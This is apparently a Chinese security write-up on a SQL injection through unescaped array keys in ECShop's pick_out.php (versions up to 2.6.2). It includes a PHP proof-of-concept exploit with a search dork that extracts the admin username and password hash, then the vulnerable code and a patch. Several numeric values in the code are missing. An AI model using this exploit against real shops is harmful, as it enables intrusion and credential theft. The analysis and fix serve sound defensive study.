catalog
. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考
1. 漏洞描述
在进行输入变量本地模拟注册的时候，没有进行有效的GPC模拟过滤处理，导出key键注入
Relevant Link:
http://bbs.ecshop.com/thread-150545-1-1.html
2. 漏洞触发条件
. /pick_out.php漏洞未修复
. magic_quotes_gpc = Off
0x1: POC
#!/usr/bin/php
复制代码 <?php
//本程序只作技术交流，请不要用做非法用途！！
print_r('
+---------------------------------------------------------------------------+
ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit
dork: "owered by ECShop"
+---------------------------------------------------------------------------+
');
/**
* works with magic_quotes_gpc = Off
*/
if ($argc < )
{
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host: target server (ip/hostname)
path: path to ecshop
Example:
php '.$argv[0].' localhost /ecshop/
+---------------------------------------------------------------------------+
');
exit;
}
error_reporting();
ini_set('max_execution_time', );
$host = $argv[];
$path = $argv[];
$resp = send();
preg_match('#IN\s\(([\S]+)[a-z0-9]{32})\)#', $resp, $hash);
if ($hash)
exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n");
else
exit("Exploit Failed!\n");
function send()
{
global $host, $path;
$cmd = 'cat_id=999999&attr[%27%20UNION%20SELECT%20CONCAT(user_name%2c0x3a%2cpassword)%20as%20goods_id%20FROM%20ecs_admin_user%20WHERE%20action_list%3d%27all%27%20LIMIT%201%23]=ryat';
$data = "GET ".$path."pick_out.php?".$cmd." HTTP/1.1\r\n";
$data .= "Host: $host\r\n";
$data .= "Connection: Close\r\n\r\n";
$fp = fsockopen($host, );
fputs($fp, $data);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, );
return $resp;
}
?>
3. 漏洞影响范围
4. 漏洞代码分析
/pick_out.php
..
/* 处理属性,获取满足属性的goods_id */
if (!empty($_GET['attr']))
{
$attr_table = '';
$attr_where = '';
$attr_url = '';
$i = ;
$goods_result = '';
foreach ($_GET['attr'] AS $key => $value)
{
$attr_url .= '&attr[' . $key . ']=' . $value;
$attr_picks[] = $key;
if ($i > )
{
if (empty($goods_result))
{
break;
}
// 利用key进行注射
$goods_result = $db->getCol("SELECT goods_id FROM " . $ecs->table("goods_attr") . " WHERE goods_id IN (" . implode(',' , $goods_result) . ") AND attr_id='$key' AND attr_value='$value'");
}
else
{
$goods_result = $db->getCol("SELECT goods_id FROM " . $ecs->table("goods_attr") . " WHERE attr_id='$key' AND attr_value='$value'");
}
$i++;
}
..
5. 防御方法
/pick_out.php
define('IN_ECS', true);
require(dirname(__FILE__) . '/includes/init.php');
$condition = array();
$picks = array();
$cat_id = !empty($_GET['cat_id']) ? intval($_GET['cat_id']) : ;
if (!empty($_GET['attr']))
{
//对输入数组进行键值(key、value)规范化处理
foreach($_GET['attr'] as $key => $value)
{
/* */
if (!is_numeric($key))
{
unset($_GET['attr'][$key]);
continue;
}
$key = intval($key);
$_GET['attr'][$key] = htmlspecialchars($value);
/* */
$attr_url .= '&attr[' . $key . ']=' . $value;
...
}
}
Relevant Link:
http://bbs.ecshop.com/thread-86922-1-1.html
6. 攻防思考
GPC自动注册是PHP提供的原生机制，很多CMS为了保证"无视用户自身设置"，在全局入口代码中采用了"自动模拟GPC注册"的机制，类似于
/*
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v)
${$_k} = $_v;
}
*/
但是，在进行模拟GPC本地变量注册的时候，一定要保持安全性的一致性，即要同时模拟执行"magic_quotes_gpc = On"机制，即需要对传入数据的进行[key:value]转义过滤，例如
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
} foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
Copyright (c) 2015 LittleHann All rights reserved